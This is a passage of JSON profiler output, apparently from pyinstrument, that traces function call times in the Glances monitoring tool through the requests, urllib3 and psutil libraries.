{\"cAPIClient\": 0.002047203997790348, \"l602\": 0.002047203997790348},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002047,\"attributes\": {\"cAPIClient\": 0.002047203997790348, \"l589\": 0.002047203997790348},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002047,\"attributes\": {\"cAPIClient\": 0.002047203997790348, \"l703\": 0.002047203997790348},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002047,\"attributes\": {\"cUnixHTTPAdapter\": 0.002047203997790348, \"l644\": 0.002047203997790348},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002047,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002047203997790348, \"l787\": 0.002047203997790348},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002047,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002047203997790348, \"l534\": 0.002047203997790348},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002047,\"attributes\": {\"cUnixHTTPConnection\": 0.002047203997790348, \"l571\": 0.002047203997790348},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002047,\"attributes\": {\"cUnixHTTPConnection\": 0.002047203997790348, \"l1430\": 0.002047203997790348},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002047,\"attributes\": {\"cHTTPResponse\": 0.002047203997790348, \"l331\": 0.002047203997790348},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002047,\"attributes\": {\"cHTTPResponse\": 0.002047203997790348, \"l292\": 0.002047203997790348},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002047,\"attributes\": {\"cSocketIO\": 0.002047203997790348, \"l725\": 0.002047203997790348},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002047,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002047,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.055953,\"attributes\": {\"cProcesscountPlugin\": 0.05595330700452905, \"l85\": 0.05595330700452905},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.055953,\"attributes\": {\"cGlancesProcesses\": 0.05595330700452905, \"l617\": 0.05195349100540625, \"l647\": 0.002000858999963384, \"l659\": 0.001998956999159418},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.051953,\"attributes\": {\"cGlancesProcesses\": 0.05195349100540625, \"l478\": 0.04395368300174596, \"l493\": 0.007999808003660291},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.043954,\"attributes\": {\"l1558\": 0.04395368300174596},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.043954,\"attributes\": {\"cProcess\": 0.04395368300174596, \"l579\": 0.03995052500249585, \"l572\": 0.0040031579992501065},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001959,\"attributes\": {\"cProcess\": 0.001958803004526999, \"l836\": 0.001958803004526999},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001959,\"attributes\": {\"cProcess\": 0.001958803004526999, \"l1593\": 0.001958803004526999},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001959,\"attributes\": {\"cProcess\": 0.001958803004526999, \"l1796\": 0.001958803004526999},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001959,\"attributes\": {\"l682\": 0.001958803004526999},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001959,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001959,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002004,\"attributes\": {\"c_GeneratorContextManager\": 0.0020035119960084558, \"l148\": 0.0020035119960084558},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020035119960084558, \"l540\": 0.0020035119960084558},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002004,\"attributes\": {\"l404\": 0.0020035119960084558},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.003994,\"attributes\": {\"cProcess\": 0.003994402999524027, \"l939\": 0.003994402999524027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003994,\"attributes\": {\"cProcess\": 0.003994402999524027, \"l1593\": 0.003994402999524027},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.003994,\"attributes\": {\"cProcess\": 0.003994402999524027, \"l2052\": 0.003994402999524027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003994,\"attributes\": {\"cProcess\": 0.003994402999524027, \"l1593\": 0.003994402999524027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003994,\"attributes\": {\"cProcess\": 0.003994402999524027, \"l382\": 0.003994402999524027},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.003994,\"attributes\": {\"cProcess\": 0.003994402999524027, \"l1718\": 0.0019928710025851615, \"l1719\": 0.0020015319969388656},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001993,\"attributes\": {\"l682\": 0.0019928710025851615},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001993,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994350004708394, \"l812\": 0.0019994350004708394},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994350004708394, \"l1593\": 0.0019994350004708394},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019994350004708394, \"l2268\": 0.0019994350004708394},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999527004954871, \"l382\": 0.001999527004954871},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999527004954871, \"l1138\": 0.001999527004954871},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999527004954871, \"l1593\": 0.001999527004954871},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999527004954871, \"l1878\": 0.001999527004954871},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.001999527004954871},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.0039980169967748225, \"l1064\": 0.001998092993744649, \"l1079\": 0.0019999240030301735},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001998,\"attributes\": {\"l1682\": 0.001998092993744649},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.001998,\"attributes\": {\"l538\": 0.001998092993744649},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999240030301735, \"l1593\": 0.0019999240030301735},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019999240030301735, \"l1835\": 0.0019999240030301735},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.002000,\"attributes\": {\"l1\": 0.0019999240030301735},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008529972983524, \"l836\": 0.0020008529972983524},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008529972983524, \"l1593\": 0.0020008529972983524},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008529972983524, \"l1796\": 0.0020008529972983524},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.0020008529972983524},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993180030724034, \"l382\": 0.0019993180030724034},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019993180030724034, \"l1127\": 0.0019993180030724034},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005089972983114, \"l680\": 0.0020005089972983114},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005089972983114, \"l1593\": 0.0020005089972983114},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005089972983114, \"l1740\": 0.0020005089972983114},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005089972983114, \"l1593\": 0.0020005089972983114},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005089972983114, \"l382\": 0.0020005089972983114},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005089972983114, \"l1689\": 0.0020005089972983114},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.0019996460032416508, \"l141\": 0.0019996460032416508},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996460032416508, \"l533\": 0.0019996460032416508},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020029419974889606, \"l382\": 0.0020029419974889606},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020029419974889606, \"l1138\": 0.0020029419974889606},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020029419974889606, \"l1593\": 0.0020029419974889606},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020029419974889606, \"l1878\": 0.0020029419974889606},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002003,\"attributes\": {\"l682\": 0.0020029419974889606},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976030016550794, \"l812\": 0.0019976030016550794},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976030016550794, \"l1593\": 0.0019976030016550794},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019976030016550794, \"l2269\": 0.0019976030016550794},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004530015285127, \"l1079\": 0.0020004530015285127},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004530015285127, \"l1593\": 0.0020004530015285127},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004530015285127, \"l1835\": 0.0020004530015285127},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998722000280395, \"l939\": 0.001998722000280395},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998722000280395, \"l1593\": 0.001998722000280395},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998722000280395, \"l2052\": 0.001998722000280395},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998722000280395, \"l1593\": 0.001998722000280395},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998722000280395, \"l382\": 0.001998722000280395},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998722000280395, \"l1718\": 0.001998722000280395},\"children\": [{\"identifier\": \"BufferedReader.__enter__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020040909948875196, \"l382\": 0.0020040909948875196},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020040909948875196, \"l1138\": 0.0020040909948875196},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020040909948875196, \"l1593\": 0.0020040909948875196},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002004,\"attributes\": {\"cProcess\": 0.0020040909948875196, \"l1878\": 0.0020040909948875196},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002004,\"attributes\": {\"l682\": 0.0020040909948875196},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003996823004854377, \"l680\": 0.0019975860050180927, \"l687\": 0.0019992369998362847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975860050180927, \"l1593\": 0.0019975860050180927},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975860050180927, \"l1740\": 0.0019975860050180927},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975860050180927, \"l1593\": 0.0019975860050180927},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975860050180927, \"l382\": 0.0019975860050180927},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019975860050180927, \"l1689\": 0.0019975860050180927},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992369998362847, \"l748\": 0.0019992369998362847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992369998362847, \"l1593\": 0.0019992369998362847},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992369998362847, \"l1755\": 0.0019992369998362847},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999713000259362, \"l836\": 0.001999713000259362},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999713000259362, \"l1593\": 0.001999713000259362},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999713000259362, \"l1812\": 0.001999713000259362},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.002000,\"attributes\": {\"l1\": 0.001999713000259362},\"children\": [{\"identifier\": \"tuple.__new__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995089969597757, \"l382\": 0.0019995089969597757},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019995089969597757, \"l1138\": 0.0019995089969597757},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998040006612428, \"l680\": 0.0019998040006612428},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998040006612428, \"l1593\": 0.0019998040006612428},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998040006612428, \"l1740\": 0.0019998040006612428},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998040006612428, \"l1593\": 0.0019998040006612428},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998040006612428, \"l382\": 0.0019998040006612428},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998040006612428, \"l1683\": 0.0019998040006612428},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.007999808003660291, \"l639\": 0.007999808003660291},\"children\": [{\"identifier\": 